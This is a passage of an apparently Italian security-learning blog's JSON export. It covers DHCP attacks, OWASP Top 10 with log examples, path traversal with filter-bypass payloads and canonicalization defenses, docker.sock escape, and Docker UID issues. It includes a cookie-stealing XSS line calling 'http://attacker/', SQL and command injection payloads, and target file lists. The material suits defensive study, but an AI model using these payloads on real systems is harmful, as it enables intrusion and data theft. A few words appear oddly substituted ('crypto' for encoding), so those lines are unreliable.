Reservation — IP \u0026quot;fisso\u0026quot; senza toccare il client # IP statico classico (router) vs DHCP Reservation # La reservation è una regola nel server DHCP: \u0026quot;questo MAC address riceve sempre questo IP\u0026quot;. Il client fa DORA normalmente, il server riconosce il MAC e assegna sempre lo stesso IP.\nIP statico classico DHCP Reservation Dove si configura direttamente sul dispositivo sul router (MAC → IP fisso) Il dispositivo fa DORA? no — ignora il DHCP sì — normalmente Rischio dimentichi che quell'IP è occupato → conflitto nessuno — il router non lo assegna ad altri Il caso eMule / port forwarding — per aprire una porta sul router (NAT) devi indicare a quale dispositivo interno inoltrarla. Ma se il dispositivo ha IP dinamico, domani potrebbe avere un IP diverso e la regola di port forwarding punta nel vuoto. La soluzione: crei una DHCP reservation per quel dispositivo → IP sempre uguale → la regola di port forwarding funziona sempre.\nLa reservation si basa sul MAC address: il router legge il Client MAC address nell'header del Discover, controlla la sua tabella di reservation e assegna sempre lo stesso IP a quel MAC. Non è una risoluzione di nomi — è puro MAC → IP, livello 2/3. Vai sul pannello del router, trovi il dispositivo nella lista dei lease attivi (il MAC è già lì), premi \u0026quot;rendi fisso\u0026quot; e da quel momento quell'IP è riservato.\nQuesto vale per qualsiasi servizio che deve essere raggiungibile dall'esterno: eMule, un nodo Bitcoin su Raspberry Pi, telecamere, server locali.\nIP statico su VM — file di configurazione # Quando vuoi un IP fisso configurato direttamente sul dispositivo (senza passare dal DHCP), il file da modificare dipende dal sistema:\nKali Linux — /etc/network/interfaces (formato Debian):\nauto lo iface lo inet loopback auto eth0 iface eth0 inet static address 192.168.64.200 netmask 255.255.255.0 gateway 192.168.64.1 Ubuntu Server — /etc/netplan/50-cloud-init.yaml (formato YAML):\nnetwork: version: 2 ethernets: enp0s1: dhcp4: false addresses: - 192.168.64.3/24 nameservers: addresses: [8.8.8.8, 1.1.1.1] routes: - to: default via: 192.168.64.1 Le VM Ubuntu (192.168.64.3) e Kali (192.168.64.200) nel lab UTM hanno IP statici configurati direttamente su questi file — non passano dal DHCP di UTM. Questo garantisce che l'IP SSH sia sempre lo stesso indipendentemente da qualsiasi server DHCP.\nDHCPv6 — la versione per IPv6 # DHCPv6 svolge lo stesso compito di DHCPv4 ma è costruito da zero per IPv6 — nessuna eredità BOOTP, formato più semplice.\nLa differenza principale: IPv6 ha eliminato il broadcast, quindi DHCPv6 usa il multicast. L'indirizzo ff02::1:2 è riservato a tutti i server DHCPv6 sulla rete locale.\nIl ciclo si chiama SARR invece di DORA:\nPasso Nome Indirizzo 1 Solicit client → ff02::1:2 (multicast) 2 Advertise server → client (unicast) 3 Request client → ff02::1:2 (multicast) 4 Reply server → client (unicast) In IPv6 esiste anche SLAAC (Stateless Address Autoconfiguration): il router annuncia il prefisso di rete via Router Advertisement e il client si genera l'IP autonomamente dal proprio MAC address. In questo caso DHCPv6 viene usato solo per passare DNS e altri parametri, non per l'IP.\nDHCPv6 è attivo ovunque ci sia IPv6 — ISP e grandi infrastrutture lo usano estensivamente. Le reti domestiche e le LAN aziendali usano ancora prevalentemente IPv4+DHCPv4.\nDHCP Starvation — l'attacco DoS # Il server DHCP ha un pool finito: es. 192.168.1.10 → 192.168.1.254 (244 IP).\nL'attaccante manda migliaia di DHCP Discover con MAC address falsi e diversi. Il server assegna un IP per ogni MAC → pool esaurito in secondi. Nuovi client legittimi mandano Discover → silenzio → nessun IP disponibile → DoS sulla rete.\nRogue DHCP — l'attacco MITM # L'attaccante installa un server DHCP falso sulla LAN. Il client fa Discover in broadcast — risponde prima il server falso. Il client accetta l'Offer falsa e riceve una configurazione malevola:\ngateway: IP dell'attaccante → tutto il traffico passa da lui DNS: IP dell'attaccante → può rispondere con IP falsi Risultato: MITM completo su tutta la rete, senza toccare il client.\nDifese Blue Team # DHCP Snooping — funzione degli switch managed. Definisce quali porte possono inviare risposte DHCP. Le porte verso gli utenti possono solo mandare Request, non Offer. Un rogue DHCP server su una porta utente viene bloccato.\nRate limiting DHCP — limita il numero di Request per porta per unità di tempo. Mitiga DHCP starvation.\nMonitoraggio — segnali di alert:\npicco di DHCP Request con MAC diversi in breve tempo → starvation in corso DHCP Offer da IP non presenti nella lista dei server autorizzati → rogue DHCP Scenario Reale # Lunedì mattina decine di dipendenti non riescono a connettersi — i dispositivi non ottengono IP. L'analista SOC controlla i log del server DHCP: il pool di 200 IP è stato esaurito in 3 minuti durante la notte, da migliaia di Request con MAC diversi. DHCP starvation — probabilmente un dispositivo compromesso nella LAN. Il DHCP snooping non era attivo. Azione: abilita snooping, identifica la porta dello switch da cui sono arrivate le Request, isola il dispositivo.\nCollegato a # network — categoria arp — ARP e DHCP lavorano insieme — DHCP snooping alimenta DAI (Dynamic ARP Inspection) tcp-udp — DHCP usa UDP perché il broadcast non è supportato da TCP unicast-broadcast-multicast — i tre modi di indirizzare pacchetti in rete icmp-mac-ip — MAC address usato da DHCP per identificare i client lan-topologies — il server DHCP vive nel router (casa) o in un server dedicato (enterprise) ip-addressing-subnetting — DHCP assegna IP dentro la subnet definita ","date":"16 aprile 2026","externalUrl":null,"permalink":"/concetti/dhcp/","section":"Concetti","summary":"Protocollo che assegna automaticamente configurazione di rete ai dispositivi che si connettono - IP address, subnet mask, gateway, DNS. Senza DHCP ogni dispositivo dovrebbe essere configurato manualmente.","title":"DHCP - Dynamic Host Configuration Protocol","type":"concetti"},{"content":" Cosa fa # Fornisce una lingua comune per classificare le vulnerabilità web — ogni attacco web ricade in una categoria numerata.\nTL;DR # OWASP pubblica ogni 3-4 anni la lista delle 10 vulnerabilità web più diffuse e pericolose. Non è uno standard tecnico — è un vocabolario condiviso tra developer, pentester e SOC analyst.\n# Come lo usi in pratica come Blue Team: GET /../../../etc/passwd → A01 Broken Access Control (Path Traversal) \u0026#39; OR 1=1 nel form login → A03 Injection (SQL Injection) 200 tentativi login/min → A07 Identification and Authentication Failures Le 10 categorie (versione 2021) # # Nome In breve A01 Broken Access Control accesso a risorse non autorizzate A02 Cryptographic Failures dati sensibili in chiaro o mal cifrati A03 Injection input utente eseguito come codice A04 Insecure Design architettura sbagliata a monte A05 Security Misconfiguration default password, debug in prod, header assenti A06 Vulnerable and Outdated Components librerie con CVE note non aggiornate A07 Identification and Authentication Failures sessioni deboli, brute force, token insicuri A08 Software and Data Integrity Failures supply chain, update non verificati A09 Security Logging and Monitoring Failures nessun log = nessuna detection A10 Server-Side Request Forgery (SSRF) il server fa richieste verso reti interne A01 — Broken Access Control # L'utente accede a risorse o operazioni che non dovrebbe vedere o eseguire.\nSottotipi principali:\nPath Traversal / LFI — uscire dalla directory prevista con ../ IDOR (Insecure Direct Object Reference) — cambiare user_id=123 in user_id=124 e vedere i dati di un altro utente Directory listing — il server espone l'indice di una cartella Privilege escalation orizzontale/verticale — utente normale che accede a funzioni admin Come appare in un access log Apache/Nginx:\nGET /../../../etc/passwd HTTP/1.1 200 # path traversal riuscito — CRITICO GET /admin/panel HTTP/1.1 403 # tentativo bloccato — da monitorare se ripetuto GET /files/ HTTP/1.1 200 # directory listing esposta — A01 Natas dove l'hai visto: bandit-02 (directory listing), bandit-03 (robots.txt), bandit-07 (LFI/Path Traversal)\nA03 — Injection # Input utente viene inserito direttamente in un comando o una query senza sanitizzazione. Il server non distingue dati da istruzioni.\nTipo Dove finisce l'input Esempio payload Command Injection Shell di sistema ; cat /etc/passwd o | cat /etc/passwd SQL Injection Query database ' OR '1'='1 oppure ' ; DROP TABLE users -- XSS (Reflected) HTML/JS nel browser della vittima \u0026lt;script\u0026gt;document.location='http://attacker/'+document.cookie\u0026lt;/script\u0026gt; LDAP Injection Directory service *)(\u0026amp; Regola generale: se vedi passthru(), system(), exec() in PHP, o query costruite con concatenazione di stringhe — è injection in attesa di accadere.\nCome appare in un access log:\nGET /search?q=\u0026#39;;+DROP+TABLE+users-- HTTP/1.1 500 # SQL injection tentata GET /search?needle=test|cat+/etc/passwd HTTP/1.1 200 # command injection riuscita Natas dove l'hai visto: bandit-09 (command injection con passthru()), bandit-10 (injection con filtri)\nA07 — Identification and Authentication Failures # Il sistema non verifica correttamente l'identità dell'utente, o la verifica è aggirabile.\nCasi tipici:\nCookie manipolabile lato client — loggedin=0 → loggedin=1 Session token prevedibile — ID di sessione incrementale o debolmente generato Brute force senza rate limiting — nessun blocco dopo N tentativi falliti Password in chiaro nel DB — nessun hashing Logout che non invalida la sessione — il token rimane valido lato server Come appare in un access log:\n# Brute force — stesso IP, stesso endpoint, molti 401 192.168.1.100 POST /login 401 192.168.1.100 POST /login 401 192.168.1.100 POST /login 401 # x200 in 30 secondi → alert T1110 MITRE Natas dove l'hai visto: bandit-04 (Referer spoofing), bandit-05 (cookie manipulation)\nCome usarlo in un SOC # Quando analizzi un alert o un log sospetto, la prima domanda è: a quale categoria OWASP appartiene?\nQuesto ti permette di:\nScrivere incident report con terminologia standard Mappare su MITRE ATT\u0026amp;CK (T1059 = Command Injection = A03, T1110 = Brute Force = A07) Capire la remediation corretta senza reinventare ogni volta Nei log reali, A01 e A03 sono le categorie più frequenti negli attacchi web automatizzati (scanner, bot).\nScenario Reale # Sei analyst SOC. Wazuh ti lancia un alert su un web server Apache. Apri il log e vedi:\nGET /page?file=../../../../etc/passwd HTTP/1.1 200 GET /search?q=\u0026#39;+OR+1=1-- HTTP/1.1 500 POST /login HTTP/1.1 401 (x150 in 2 minuti, stesso IP) Classificazione immediata:\nRiga 1 → A01 Path Traversal — risposta 200, quindi riuscito. Priorità critica. Riga 2 → A03 SQL Injection — risposta 500 (errore DB), tentativo parzialmente riuscito. Alta priorità. Riga 3 → A07 Brute Force — ancora in corso. Blocca IP, verifica se qualche 200 nel mezzo. Collegato a # network — categoria ctf-hub — lab dove hai incontrato A01/A03/A07 in pratica MITRE ATT\u0026amp;CK — framework complementare per classificazione tattiche ","date":"16 aprile 2026","externalUrl":null,"permalink":"/concetti/owasp-top10/","section":"Concetti","summary":"Framework di classificazione delle 10 vulnerabilità web più critiche. Usato dai SOC analyst per categorizzare gli attacchi nei log e nei report.","title":"OWASP Top 10","type":"concetti"},{"content":" Cosa fa # Definisce i tre modi in cui un pacchetto può essere indirizzato in rete — a un singolo destinatario, a tutti, o a un gruppo specifico.\nTL;DR # Tipo Destinatario Indirizzo tipico Esempio Unicast un singolo dispositivo IP specifico 192.168.1.5 → 192.168.1.10 Broadcast tutti sulla rete locale 255.255.255.255 DHCP Discover, ARP Request Multicast un gruppo specifico 224.0.0.0/4 streaming video, routing OSPF Unicast # Un pacchetto da un mittente a un destinatario specifico. È il caso normale di quasi tutto il traffico di rete — HTTP, SSH, SMTP. Il pacchetto ha un IP di destinazione preciso e solo quel dispositivo lo processa.\nFunziona a tutti i livelli: a livello 3 con l'IP di destinazione, a livello 2 con il MAC address di destinazione. Gli altri dispositivi sulla rete vedono il pacchetto ma lo ignorano.\nBroadcast # Un pacchetto inviato a tutti i dispositivi sulla rete locale. L'indirizzo di destinazione 255.255.255.255 è riservato al broadcast — ogni host che lo riceve è obbligato a processarlo.\nViene usato quando il mittente non sa ancora con chi deve parlare:\nDHCP Discover — il client non ha un IP, non sa l'IP del server → urla in broadcast ARP Request — \u0026quot;chi ha l'IP 192.168.1.1? dimmi il tuo MAC\u0026quot; → broadcast perché non conosci ancora il MAC Il broadcast è limitato alla rete locale (LAN). I router non lo inoltrano — non esiste broadcast che attraversa subnet diverse.\nMulticast # Un pacchetto inviato a un gruppo di dispositivi che si sono registrati per riceverlo. Non è \u0026quot;tutti\u0026quot; come il broadcast — solo chi ha dichiarato interesse riceve il pacchetto.\nGli indirizzi multicast IPv4 stanno nel range 224.0.0.0 – 239.255.255.255. Esempi:\n224.0.0.5 — tutti i router OSPF sulla rete 239.x.x.x — multicast applicativo (streaming video locale, IPTV) È più efficiente del broadcast per distribuire dati a gruppi — lo switch invia il pacchetto solo alle porte dei dispositivi registrati nel gruppo, non a tutte.\nPerché TCP non supporta broadcast # TCP richiede una connessione stabilita tra due endpoint specifici — il three-way handshake presuppone un mittente e un destinatario precisi. Broadcast e multicast sono per definizione indirizzati a destinatari indefiniti o multipli, incompatibili con la logica connection-oriented di TCP.\nUDP non ha questo vincolo: è connectionless, quindi può mandare datagrammi in broadcast o multicast senza problemi.\nScenario Reale # Nel ciclo DHCP vedi tutti e tre i tipi in sequenza:\nDiscover → broadcast (0.0.0.0 → 255.255.255.255) — il client non sa chi è il server Offer → broadcast (server → 255.255.255.255) — il client non ha ancora un IP Request → broadcast (0.0.0.0 → 255.255.255.255) — ancora senza IP ACK → unicast (server → 192.168.1.10) — il server conosce il MAC, manda diretto Dal broadcast iniziale all'unicast finale: è il momento in cui il client entra ufficialmente nella rete.\nCollegato a # network — categoria dhcp — usa broadcast per Discover/Offer/Request, unicast per ACK arp — usa broadcast per chiedere il MAC di un IP sconosciuto tcp-udp — TCP solo unicast, UDP supporta broadcast e multicast ","date":"16 aprile 2026","externalUrl":null,"permalink":"/concetti/unicast-broadcast-multicast/","section":"Concetti","summary":"I tre modi in cui un pacchetto può essere indirizzato in rete: a uno solo (unicast), a tutti (broadcast), a un gruppo (multicast).","title":"Unicast, Broadcast, Multicast","type":"concetti"},{"content":" Cos'è # Definisce gli operatori e le tecniche per eseguire sequenze di comandi in Bash, permettendo di condizionare l'esecuzione al successo o al fallimento dei passi precedenti.\nSintesi degli Operatori di Concatenazione # Operatore Nome Logica di Esecuzione Quando usarlo ; Semicolon Esegue il secondo comando sempre, a prescindere dal primo. Task indipendenti (es. clear; ls). \u0026amp;\u0026amp; AND logico Esegue il secondo comando solo se il primo ha successo (exit 0). Task dipendenti (es. make \u0026amp;\u0026amp; make install). || OR logico Esegue il secondo comando solo se il primo fallisce (exit != 0). Gestione errori (es. mkdir d || echo \u0026quot;Errore\u0026quot;). Raggruppamento (Grouping) # A volte e' necessario convogliare l'output di piu' comandi verso un unico file o pipe senza ripetere i redirect.\nSintesi: (Comando A; Comando B) \u0026gt; output.txt # Usando le parentesi tonde, Bash crea una subshell che raggruppa tutti gli output standard (stdout) in un unico flusso.\nEsempio Pratico:\n# Invece di fare: head -n 15 access.log \u0026gt; estratto.txt tail -n 10 access.log \u0026gt;\u0026gt; estratto.txt # Puoi fare in un colpo solo: (head -n 15 access.log; tail -n 10 access.log) \u0026gt; estratto.txt Vantaggio SOC Questo metodo e' piu' pulito, evita di aprire e chiudere il file di output piu' volte (meno stress per il disco e meno rischi di race condition) e garantisce che l'ordine delle righe sia preservato esattamente come desiderato.\nCollegato a # system — hub bash-startup-files — concetti correlati ","date":"15 aprile 2026","externalUrl":null,"permalink":"/concetti/command-chaining/","section":"Concetti","summary":"Metodi per concatenare piu' comandi in un'unica riga di comando e gestire il flusso dell'output.","title":"Command Chaining e Grouping","type":"concetti"},{"content":" Cos'è # Definisce i tre livelli di controllo (Document Root, Configurazione, Permessi) che separano i file pubblici da quelli privati in un server web, includendo l'isolamento moderno via Container.\nI 3 Pilastri della Visibilità Tradizionale # graph TD User[Utente Web] --\u003e|Richiesta URL| S1[Livello 1: Document Root] S1 --\u003e|Mappatura Path| S2[Livello 2: Configurazione Server] S2 --\u003e|Regole di Accesso| S3[Livello 3: Permessi File System] S3 --\u003e|Lettura Fisica| Disk[(File su Disco)] style S1 fill:#f9f,stroke:#333 style S2 fill:#bbf,stroke:#333 style S3 fill:#bfb,stroke:#333 1. Document Root (Il Recinto Logico) # Ogni web server (Nginx, Apache) definisce una cartella radice (es. /var/www/html/).\nFunzione: Tutto cio' che sta fuori da questo percorso e' invisibile al web server per impostazione predefinita. Rischio SOC: Il Path Traversal serve proprio a \u0026quot;saltare\u0026quot; questo recinto logico. 2. Configurazione del Server (Le Regole di Esclusione) # Anche dentro la Document Root, alcuni file devono restare privati (es. .env, .git, .htaccess).\nFunzione: Regole specifiche (es. deny all) impediscono al server di servire file sensibili anche se sono tecnicamente nella cartella pubblica. Rischio SOC: Errori di configurazione che permettono di scaricare file di ambiente o backup (config.php.bak). 3. Permessi del File System (Il Recinto Fisico) # Il web server e' un processo che gira come un utente specifico (es. www-data).\nFunzione: Il server puo' leggere solo i file per cui l'utente www-data ha i permessi di lettura (r). Rischio SOC: Se il server gira come root, questo recinto sparisce. Se un file sensibile (es. /etc/shadow) ha permessi troppo permissivi, il server puo' esporlo. Il 4° Pilastro: Isolamento via Container (Docker) # Quando un'applicazione gira in Docker, viene aggiunto un quarto recinto: il Container Namespace.\ngraph LR subgraph Host subgraph Container App[Web Server] end Socket[docker.sock] Secret[Host Files /etc/shadow] end App -.-x Secret App --\u003e|Se montato| Socket Socket --\u003e|Controllo Totale| Host L'Attacco al Docker Socket (Evasione Totale) # Se un developer monta il file /var/run/docker.sock dentro il container (spesso per monitoraggio o automazione), rompe l'isolamento.\nIl Meccanismo: Il socket e' l'API di comando di Docker. Un attaccante che compromette il Web Server puo' inviare comandi al socket per creare un nuovo container \u0026quot;privilegiato\u0026quot; che monta l'intero filesystem dell'Host. Visione SOC: In questo scenario, l'attaccante passa dall'essere un utente web limitato all'essere Root sull'Host fisico, rendendo inutili tutti i recinti precedenti. Tabella di Sintesi: Switch Mentale # Strato Visione Developer (Build) Visione SOC Analyst (Investigate) Doc Root Dove metto il codice. Punto di partenza per il Traversal. Config \u0026quot;Spero che funzioni.\u0026quot; Verifico se i file .env sono scaricabili. Permessi \u0026quot;Metto 777 se ho errori.\u0026quot; \u0026quot;777 e' una Critical Vulnerability.\u0026quot; Docker \u0026quot;E' isolato per magia.\u0026quot; \u0026quot;Il socket e' esposto? Se si', il container e' un'illusione.\u0026quot; Collegato a # path-traversal — Come saltare il Livello 1 docker — Funzionamento del Livello 4 linux-permissions — Dettagli sul Livello 3 system — Categoria generale ","date":"15 aprile 2026","externalUrl":null,"permalink":"/concetti/confini-visibilita-web/","section":"Concetti","summary":"Analisi dei tre pilastri (Document Root, Permessi, Configurazione) che determinano cosa e' esposto sul web e come i container aggiungono un ulteriore strato di isolamento.","title":"I Confini della Visibilità: Pubblico vs Privato","type":"concetti"},{"content":" Cosa fa # Un attaccante manipola un parametro che il server usa per costruire un percorso file, inserendo sequenze ../ per uscire dalla directory base e leggere file arbitrari sul filesystem. Path Traversal è navigazione non autorizzata nel filesystem\nTL;DR # # Il server carica un\u0026#39;immagine in questo modo: GET /image?filename=37.jpg # Il server risolve internamente: /var/www/images/37.jpg # L\u0026#39;attaccante sostituisce filename con un path traversal: GET /image?filename=../../../etc/passwd # Il server risolve: /var/www/images/../../../etc/passwd → /etc/passwd Vettori di attacco # Il parametro vulnerabile non e' solo nel query string. Qualsiasi punto dove il server riceve un nome o percorso file puo' essere un vettore:\nQuery parameter: ?filename=37.jpg Body POST: {\u0026quot;file\u0026quot;: \u0026quot;report.pdf\u0026quot;} in una API JSON Cookie: document=invoice.pdf Path segment: /files/37.jpg Header HTTP: X-File-Name:, Referer: Come costruire il payload # Per uscire da una directory servono sequenze ../ proporzionali alla profondita' del path base.\nRegola dei troppi ../: Su Unix, aggiungere sequenze oltre la root (/) e' sicuro; il path rimane /. Partire con 8-10 ../ garantisce di arrivare alla radice. Tecniche di Bypass (Evasione Filtri) # Gli sviluppatori spesso implementano filtri per bloccare le sequenze ../. Esistono diverse tecniche per aggirarli:\n1. Filtri non ricorsivi # Se il server rimuove ../ in modo non ricorsivo (una sola volta), si usa una sequenza nidificata:\nPayload: ....// o ....\\/ Risultato dopo il filtro: ../ 2. URL Encoding \u0026amp; Double Encoding # Utile se il server decodifica l'input dopo aver applicato i filtri di sicurezza:\nSingle Encoding: %2e%2e%2f Double Encoding: %252e%252e%252f (dove %25 e' l'crypto del simbolo %) 3. Validazione del Prefisso (Base Folder) # Se il server richiede che il percorso inizi con una cartella specifica:\nPayload: /var/www/images/../../../etc/passwd 4. Null Byte Injection (%00) # Utilizzato su sistemi legacy (es: PHP \u0026lt; 5.3) per terminare la stringa del percorso prima di un'estensione forzata dal server:\nPayload: ../../../etc/passwd%00.jpg Effetto: Il sistema operativo smette di leggere allo zero binario, ignorando .jpg. Target utili # File Contenuto utile /etc/passwd Utenti, servizi attivi, home directory /etc/hosts Hostname interni, altri server nella rete /proc/self/environ Variabili d'ambiente del processo (possibili API key) /var/log/apache2/access.log Log di accesso — utile per log poisoning ../../../var/www/html/config.php Credenziali database Mitigazioni e Difesa: La Canonicalizzazione # Il modo più efficace per prevenire il Path Traversal è evitare di passare input fornito dall'utente direttamente alle API del filesystem. Se non è possibile evitarlo, la Canonicalizzazione (Canonicalization) è la linea di difesa fondamentale.\nCos'è la Canonicalizzazione? # È il processo di conversione di un percorso (path) che può contenere caratteri \u0026quot;rumorosi\u0026quot; (../, ./, link simbolici, crypto multipli) nella sua forma più semplice, univoca e assoluta.\nPerché è fondamentale? # Un server può essere ingannato da stringhe diverse che puntano allo stesso file:\n../../etc/passwd /var/www/html/../../etc/passwd /etc/passwd Intuizione Rapida La Canonicalizzazione è come se il server eseguisse un cd virtuale fino alla destinazione finale per vedere dove atterra realmente, ignorando i trucchi sulla \u0026quot;busta\u0026quot;.\nL'Analogia del Recinto (Dev vs SOC) # Immagina che la tua cartella sicura sia un recinto chiamato /var/www/html/. Tutto quello che c'è fuori è privato.\nL'attaccante invia: /var/www/html/../../../etc/passwd.\nVisione Developer (Senza Canonicalizzazione): Il codice controlla solo la stringa grezza: \u0026quot;Inizia con /var/www/html/?\u0026quot;. Risposta: SÌ. Il controllo passa, ma il sistema operativo risolve i ../ e legge il file fuori dal recinto.\nVisione SOC Analyst (Con Canonicalizzazione): Il codice prima \u0026quot;pulisce\u0026quot; il percorso risolvendo i ../. La stringa diventa: /etc/passwd. Il codice ora controlla la \u0026quot;vera faccia\u0026quot; dell'input: \u0026quot;Il percorso REALE (/etc/passwd) inizia con /var/www/html/?\u0026quot;. Risposta: NO. L'attacco viene bloccato perché hai guardato dove puntava davvero, non cosa c'era scritto sulla busta.\nEsempio in Pseudo-codice: Controllo Debole vs Robusto # // --- VISIONE DEVELOPER (DEBOLE) --- // Input: \u0026#34;/var/www/html/../../../etc/passwd\u0026#34; if (userInput.startsWith(\u0026#34;/var/www/html/\u0026#34;)) { // PASSATO: La stringa inizia effettivamente con il prefisso richiesto. // DISASTRO: Il Sistema Operativo risolverà i ../ e leggerà /etc/passwd. fs.readFile(userInput); } // --- VISIONE SOC ANALYST (ROBUSTO) --- // Input: \u0026#34;/var/www/html/../../../etc/passwd\u0026#34; const realPath = path.resolve(userInput); // Canonicalizzazione // realPath ora è diventato \u0026#34;/etc/passwd\u0026#34; if (realPath.startsWith(\u0026#34;/var/www/html/\u0026#34;)) { // BLOCCATO: \u0026#34;/etc/passwd\u0026#34; NON inizia con \u0026#34;/var/www/html/\u0026#34;. fs.readFile(realPath); } In Sintesi la Canonicalizzazione è il processo di trasformazione di un percorso relativo o \u0026quot;sporco\u0026quot; (es. ../../etc/passwd) nella sua forma assoluta e univoca (es. /etc/passwd).\nCome funziona la difesa corretta # Input: L'utente invia ../../etc/passwd. Canonicalizzazione: Il sistema operativo o il linguaggio (es. realpath() in PHP, os.path.abspath() in Python) risolve tutti i puntatori e restituisce il percorso reale: /etc/passwd. Verifica (Sanitizzazione): Il server ora confronta il percorso reale (/etc/passwd) con la directory autorizzata (/var/www/images/). Risultato: Poiché /etc/passwd non inizia con /var/www/images/, l'accesso viene negato. Important Senza la canonicalizzazione, il server confronta \u0026quot;mele con pere\u0026quot;: una stringa relativa (../../) contro un prefisso assoluto. La difesa fallisce sempre.\nEsempi di Implementazione # PHP:\n\u0026lt;?php $base_dir = \u0026#39;/var/www/images/\u0026#39;; $requested = $_GET[\u0026#39;filename\u0026#39;]; // realpath risolve tutti i ../ e i link simbolici (Canonicalizzazione) $full_path = realpath($base_dir . $requested); // Verifica che il percorso risolto inizi con la directory base if ($full_path !== false \u0026amp;\u0026amp; strpos($full_path, $base_dir) === 0) { readfile($full_path); } else { header(\u0026#39;HTTP/1.0 403 Forbidden\u0026#39;); die(\u0026#39;Access denied.\u0026#39;); } ?\u0026gt; Node.js:\nconst path = require(\u0026#39;path\u0026#39;); const fs = require(\u0026#39;fs\u0026#39;); const baseDir = path.join(__dirname, \u0026#39;images\u0026#39;); const requestedFile = req.query.filename; // path.resolve() risolve il percorso assoluto (Canonicalizzazione) const fullPath = path.resolve(baseDir, requestedFile); // Verifica che il path risolto sia ancora all\u0026#39;interno di baseDir if (fullPath.startsWith(baseDir)) { fs.readFile(fullPath, (err, data) =\u0026gt; { // ... processa file }); } else { res.status(403).send(\u0026#39;Access denied\u0026#39;); } Scenario Reale # Un analista Blue Team riceve un alert IDS per richieste HTTP anomale. Nei log vede: GET /api/download?file=../../../../etc/passwd HTTP/1.1 La sequenza crescente di ../ e' un pattern riconoscibile. Risposta: blocco IP, analisi dei log per confermare se il server ha risposto con 200 OK (esfiltrazione riuscita) o 403/404.\nCollegato a # ctf — categoria bandit-07 — LFI su OTW Natas ","date":"15 aprile 2026","externalUrl":null,"permalink":"/concetti/path-traversal/","section":"Concetti","summary":"Vulnerabilita' che permette a un attaccante di leggere file arbitrari sul server manipolando parametri che costruiscono percorsi di file.","title":"Path Traversal","type":"concetti"},{"content":" Cosa fa # Quando monti una cartella dell'host dentro un container con -v, i file mantengono i permessi originali dell'host. Se l'utente dentro il container ha un UID diverso dall'utente host, non puo' leggere o scrivere quei file. La soluzione e' creare l'utente nel container con lo stesso UID dell'utente host, a runtime.\nTL;DR # Host (Mac): barno uid=501 Container: node uid=1000 -v ~/.claude:/home/claude/.claude ↑ file di proprieta\u0026#39; uid=501 utente claude (uid=1000) non puo\u0026#39; leggerli → Permission denied Soluzione: creare l'utente nel container con uid=501 all'avvio.\nIl problema — UID mismatch # I bind mount (-v host:container) montano i file con i permessi originali dell'host. Il kernel controlla i permessi tramite UID numerici, non nomi utente.\nHost: /Users/barno/.claude/ → uid=501 gid=20 Container (senza fix): /home/claude/.claude/ → uid=501 gid=20 (stesso UID fisico) utente claude → uid=1000 → claude non puo\u0026#39; leggere i file (uid diverso) Container (con fix): utente claude creato con uid=501 → node legge i file (uid coincide) Note ls -la dentro il container mostra i file come \u0026quot;root\u0026quot; o come un numero senza nome (es. 501) quando l'UID non corrisponde a nessun utente nel container. Questo e' il segnale diagnostico principale.\nLa soluzione — entrypoint dinamico # Invece di fissare l'UID nel Dockerfile, l'utente viene creato a runtime dall'entrypoint con l'UID passato come variabile d'ambiente:\n# docker run passa il proprio UID docker run -e DEFAULT_UID=$(id -u) ... # sul Mac: DEFAULT_UID=501 L'entrypoint riceve DEFAULT_UID=501 e crea l'utente con quell'UID:\nentrypoint: 1. riceve DEFAULT_UID=501 2. crea gruppo \u0026#34;node\u0026#34; 3. crea utente \u0026#34;node\u0026#34; con uid=501 4. sistema i permessi sulla home 5. droppa i privilegi con gosu 6. lancia il processo come utente \u0026#34;node\u0026#34; (uid=501) Risultato: l'utente dentro il container ha lo stesso UID dell'utente host e puo' leggere/scrivere i file montati.\ngosu — drop privilegi sicuro # Il container parte sempre come root (necessario per creare utenti). gosu permette di droppare i privilegi prima di lanciare il processo:\nexec gosu \u0026#34;${USER_ID}:${GROUP_NAME}\u0026#34; \u0026#34;$@\u0026#34; Prima di gosu: processo gira come root (uid=0) Dopo gosu: processo gira come claude (uid=501) Differenza rispetto a su e sudo:\nsu → apre una nuova shell (overhead, problemi con segnali) sudo → mantiene alcune capacita\u0026#39; di root gosu → exec diretto, nessun processo intermedio, drop pulito Warning Non girare processi in produzione come root dentro container. Se il container viene compromesso, l'attaccante ha UID=0 anche sull'host se il container ha --privileged o volumi critici montati.\nPermessi sui file montati — diagnostica # # Dentro il container — vedi i permessi reali ls -la /home/claude/.claude/ # Se i file mostrano un numero invece del nome utente: # -rw-r--r-- 1 501 20 ... file.json # ↑ # UID 501 non ha un nome in questo container # → UID mismatch # Verifica l\u0026#39;UID dell\u0026#39;utente corrente id whoami # Verifica l\u0026#39;UID dei file stat /home/claude/.claude/settings.json Pattern completo — struttura file # progetto/ ├── Dockerfile → installa dipendenze + copia entrypoint ├── docker-entrypoint.sh → crea utente dinamico, droppa privilegi └── ~/.zshrc → funzione shell che passa DEFAULT_UID Flusso:\n~/.zshrc (Mac) → docker run -e DEFAULT_UID=$(id -u) ... ↓ docker-entrypoint.sh (dentro container, come root) → crea utente con UID corretto → chown home → exec gosu uid:gid processo ↓ processo gira come utente corretto → puo\u0026#39; leggere/scrivere file montati Warning comuni # useradd warning: node\u0026#39;s uid 501 outside of the UID_MIN 1000 and UID_MAX 60000 range. Innocuo su Debian/Ubuntu — UID 501 e' fuori dal range standard ma funziona. Il range e' una convenzione, non un vincolo tecnico.\nuseradd: warning: the home directory /home/claude already exists. useradd: Not copying any file from skel directory into it. Innocuo — la home esiste gia' (dal Dockerfile o dal volume montato). useradd non sovrascrive i file esistenti.\nScenario Reale Blue Team # Un analista deve girare uno strumento di analisi (es. Claude Code) in un container per isolare l'accesso al filesystem host. Monta solo le cartelle necessarie con bind mount. Il problema dei permessi e' il primo ostacolo:\n# Diagnosi rapida docker run --rm -it immagine id # Se uid=0 → gira come root → problema sicurezza # Se uid=1000 ma file uid=501 → permessi negati # Fix rapido per test (non produzione) docker run --user $(id -u):$(id -g) ... # Fix corretto (produzione) → entrypoint dinamico con gosu Collegato a # system — categoria iam — categoria docker-security — sicurezza container, principio minimo privilegio docker-volumes — bind mount e volumi docker-overview — modello mentale container ","date":"13 aprile 2026","externalUrl":null,"permalink":"/concetti/docker-uid-permessi/","section":"Concetti","summary":"Il problema fondamentale dei bind mount Docker: l'UID dell'utente host e l'UID dell'utente container non coincidono, causando errori di permesso sui file montati. Soluzione: entrypoint dinamico che crea l'utente con il UID corretto a runtime.","title":"Docker - UID, permessi e volumi bind mount","type":"concetti"},{"content":" Cos'è # Risorse e tool di terze parti (locali o via web) che forniscono esempi pratici, sintetici e pronti all'uso per i comandi CLI, superando la 